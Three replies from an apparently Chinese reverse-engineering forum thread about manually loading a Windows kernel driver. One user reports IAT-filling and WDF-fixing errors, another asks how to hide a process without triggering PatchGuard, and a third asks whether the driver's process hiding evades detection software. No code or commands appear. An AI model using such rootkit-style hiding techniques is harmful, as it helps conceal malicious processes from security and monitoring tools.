板子菌雪币： 207 活跃值： (144) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 2 粉丝 1 关注私信	板子菌 23 楼 qqxiaobing 在填充IAT过程中,如果我直接不下段F11进去单步步过就会报错,单步步过可以通过,但是之后再修复WDF这里  申请内存的时候又会报错,求解,大佬解决了吗？我也是MakeIAT这里报错，在里面的MiSnapThunk报了分页错误，提示访问了只读内存 2023-11-9 11:27 0
我的研究雪币： 107 活跃值： (1361) 能力值： ( LV2，RANK：10 ) 在线值：发帖 14 回帖 74 粉丝 6 关注私信	我的研究 24 楼编程与少年隐藏进程可以不pg的怎么做呢，断链会PG的哦 2024-11-22 15:52 0
编程与少年雪币： 16 活跃值： (150) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 17 粉丝 0 关注私信	编程与少年 25 楼冰雄楼主试过能过大黄蜂等翻录软件的驱动隐藏进程的检测吗？可以的吧 2025-2-25 03:37 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复